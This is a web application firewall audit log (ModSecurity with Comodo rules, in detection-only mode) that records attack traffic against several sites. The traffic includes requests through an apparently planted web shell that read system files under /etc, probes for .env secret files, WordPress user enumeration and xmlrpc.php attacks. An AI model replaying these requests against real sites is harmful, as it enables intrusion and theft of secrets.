combined=1934, p1=355, p2=1460, p3=0, p4=0, p5=119, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2e8ce764-Z-- --8b83de4d-A-- [16/Jun/2025:04:34:55.646864 +0530] aE9Rl3wHSJGQ1A1pR0qaUgAAAAY 44.210.213.220 35310 127.0.0.1 7081 --8b83de4d-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//etc/security&viewfile=//etc/security/sepermit.conf HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 44.210.213.220 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --8b83de4d-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3150 Connection: close Content-Type: text/html; charset=UTF-8 --8b83de4d-H-- Message: Warning. Matched phrase "etc/security/sepermit.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/security/sepermit.conf found within ARGS:viewfile: /etc/security/sepermit.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/security/sepermit.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/security/sepermit.conf found within ARGS:viewfile: /etc/security/sepermit.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE9Rl3wHSJGQ1A1pR0qaUgAAAAY"] Apache-Handler: application/x-httpd-php Stopwatch: 1750028695642664 4255 (- - -) Stopwatch2: 1750028695642664 4255; combined=2228, p1=324, p2=1751, p3=40, p4=37, p5=76, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8b83de4d-Z-- --d0fb4110-A-- [16/Jun/2025:04:34:58.634455 +0530] aE9RmvNXjUHq-Wm7C_8YeQAAAAQ 146.70.194.222 35444 127.0.0.1 7081 --d0fb4110-B-- GET //wp-json/wp/v2/users/ HTTP/1.0 Host: www.bspsons.com X-Real-IP: 146.70.194.222 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 --d0fb4110-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 X-Robots-Tag: noindex Link: <https://www.bspsons.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type X-WP-Total: 1 X-WP-TotalPages: 1 Allow: GET Vary: Origin Connection: close Content-Type: application/json; charset=UTF-8 --d0fb4110-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.bspsons.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.bspsons.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.bspsons.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE9RmvNXjUHq-Wm7C_8YeQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/bspsons.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028698147823 486722 (- - -) Stopwatch2: 1750028698147823 486722; combined=1820, p1=351, p2=1397, p3=0, p4=0, p5=71, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d0fb4110-Z-- --03b5293e-A-- [16/Jun/2025:04:34:59.891963 +0530] aE9Rm1xTdrwJSUMoZvG0ngAAAAc 52.4.76.156 51366 127.0.0.1 7081 --03b5293e-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//etc/init.d&viewfile=//etc/init.d/named HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 52.4.76.156 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --03b5293e-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 4317 Connection: close Content-Type: text/html; charset=UTF-8 --03b5293e-H-- Message: Warning. Matched phrase "etc/init.d" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:path: /etc/init.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Message: Warning. Matched phrase "etc/init.d" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:viewfile: /etc/init.d/named"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/init.d" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:path: /etc/init.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE9Rm1xTdrwJSUMoZvG0ngAAAAc"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/init.d" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:viewfile: /etc/init.d/named"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE9Rm1xTdrwJSUMoZvG0ngAAAAc"] Apache-Handler: application/x-httpd-php Stopwatch: 1750028699888219 3794 (- - -) Stopwatch2: 1750028699888219 3794; combined=1988, p1=358, p2=1479, p3=34, p4=33, p5=83, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --03b5293e-Z-- --0b2d876a-A-- [16/Jun/2025:04:35:02.645585 +0530] aE9RnUoyC4_VyyL7sS6LcAAAAAI 185.177.72.210 51450 127.0.0.1 7081 --0b2d876a-B-- GET /.env.development.sample HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0b2d876a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c7a7bb12d42e31b9f4b3895c95dc4d521750028702; expires=Mon, 16 Jun 2025 00:05:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0b2d876a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.development.sample"] [unique_id "aE9RnUoyC4_VyyL7sS6LcAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028701940488 705169 (- - -) Stopwatch2: 1750028701940488 705169; combined=2070, p1=382, p2=1580, p3=0, p4=0, p5=108, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0b2d876a-Z-- --c5a68037-A-- [16/Jun/2025:04:35:03.736133 +0530] aE9Rn3wHSJGQ1A1pR0qaVwAAAAY 34.225.24.180 51528 127.0.0.1 7081 --c5a68037-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//etc/init.d&viewfile=//etc/init.d/ufw HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 34.225.24.180 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --c5a68037-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3599 Connection: close Content-Type: text/html; charset=UTF-8 --c5a68037-H-- Message: Warning. Matched phrase "etc/init.d" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:path: /etc/init.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Message: Warning. Matched phrase "etc/init.d" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:viewfile: /etc/init.d/ufw"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/init.d" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:path: /etc/init.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE9Rn3wHSJGQ1A1pR0qaVwAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/init.d" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:viewfile: /etc/init.d/ufw"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE9Rn3wHSJGQ1A1pR0qaVwAAAAY"] Apache-Handler: application/x-httpd-php Stopwatch: 1750028703731664 4521 (- - -) Stopwatch2: 1750028703731664 4521; combined=2568, p1=361, p2=2031, p3=38, p4=46, p5=92, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c5a68037-Z-- --d39f1739-A-- [16/Jun/2025:04:35:07.027010 +0530] aE9RorV9qKUox3X8g1YmpgAAAAg 128.199.112.101 51614 127.0.0.1 7081 --d39f1739-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --d39f1739-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --d39f1739-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9RorV9qKUox3X8g1YmpgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028706071007 956059 (- - -) Stopwatch2: 1750028706071007 956059; combined=2613, p1=470, p2=1795, p3=39, p4=57, p5=158, sr=122, sw=94, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d39f1739-Z-- --80599e4d-A-- [16/Jun/2025:04:35:10.433043 +0530] aE9RpXwHSJGQ1A1pR0qaWwAAAAY 185.177.72.210 45272 127.0.0.1 7081 --80599e4d-B-- GET /:5601/statisch/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --80599e4d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ceace7769c05168546ffbded17b817ba1750028710; expires=Mon, 16 Jun 2025 00:05:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --80599e4d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/statisch/.env"] [unique_id "aE9RpXwHSJGQ1A1pR0qaWwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028709703523 729596 (- - -) Stopwatch2: 1750028709703523 729596; combined=2047, p1=425, p2=1515, p3=0, p4=0, p5=107, sr=117, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --80599e4d-Z-- --6dae610b-A-- [16/Jun/2025:04:35:15.758668 +0530] aE9Rq8alTF-TysO2fMOB_wAAAAE 54.197.102.71 45548 127.0.0.1 7081 --6dae610b-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//etc/init.d&viewfile=//etc/init.d/xinetd HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.197.102.71 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --6dae610b-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3910 Connection: close Content-Type: text/html; charset=UTF-8 --6dae610b-H-- Message: Warning. Matched phrase "etc/init.d" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:path: /etc/init.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Message: Warning. Matched phrase "etc/init.d" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:viewfile: /etc/init.d/xinetd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/init.d" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:path: /etc/init.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE9Rq8alTF-TysO2fMOB_wAAAAE"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/init.d" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:viewfile: /etc/init.d/xinetd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE9Rq8alTF-TysO2fMOB_wAAAAE"] Apache-Handler: application/x-httpd-php Stopwatch: 1750028715754545 4176 (- - -) Stopwatch2: 1750028715754545 4176; combined=2257, p1=342, p2=1749, p3=36, p4=35, p5=95, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6dae610b-Z-- --0766fb2d-A-- [16/Jun/2025:04:35:21.425539 +0530] aE9RsEoyC4_VyyL7sS6LeQAAAAI 185.177.72.210 34870 127.0.0.1 7081 --0766fb2d-B-- GET /logging/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0766fb2d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=983036f2a84e57dd610c1583d0d72da31750028721; expires=Mon, 16 Jun 2025 00:05:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0766fb2d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/logging/.env"] [unique_id "aE9RsEoyC4_VyyL7sS6LeQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028720778671 646965 (- - -) Stopwatch2: 1750028720778671 646965; combined=1747, p1=393, p2=1233, p3=0, p4=0, p5=121, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0766fb2d-Z-- --70016050-A-- [16/Jun/2025:04:35:22.407400 +0530] aE9RsexC6fQU5wYvxvly8AAAAAk 185.177.72.210 34906 127.0.0.1 7081 --70016050-B-- GET /MyRentals.Web/ClientApp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --70016050-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=81057feeab86749c7712dc82bbf7dd941750028722; expires=Mon, 16 Jun 2025 00:05:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --70016050-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/MyRentals.Web/ClientApp/.env"] [unique_id "aE9RsexC6fQU5wYvxvly8AAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028721776261 631205 (- - -) Stopwatch2: 1750028721776261 631205; combined=1686, p1=407, p2=1171, p3=0, p4=0, p5=107, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --70016050-Z-- --010b1103-A-- [16/Jun/2025:04:35:30.615830 +0530] aE9RuX2GhYywD7zZgx4EdgAAAAM 185.177.72.210 51420 127.0.0.1 7081 --010b1103-B-- GET /:9000/.env~ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --010b1103-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9ddd752dd2b76717e18e147758fa0f8d1750028730; expires=Mon, 16 Jun 2025 00:05:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --010b1103-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env~"] [unique_id "aE9RuX2GhYywD7zZgx4EdgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028729961037 654868 (- - -) Stopwatch2: 1750028729961037 654868; combined=2016, p1=460, p2=1459, p3=0, p4=0, p5=96, sr=121, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --010b1103-Z-- --00ccad37-A-- [16/Jun/2025:04:35:34.462385 +0530] aE9RvZbumDYPKpRD2ekpwwAAAAA 185.177.72.210 51582 127.0.0.1 7081 --00ccad37-B-- GET /:9000/.c9/metadata/environnement/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --00ccad37-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cd8a92b06fbaaff2326ce13a2afd74cd1750028734; expires=Mon, 16 Jun 2025 00:05:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --00ccad37-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.c9/metadata/environnement/.env"] [unique_id "aE9RvZbumDYPKpRD2ekpwwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028733816161 646301 (- - -) Stopwatch2: 1750028733816161 646301; combined=1914, p1=384, p2=1423, p3=0, p4=0, p5=106, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 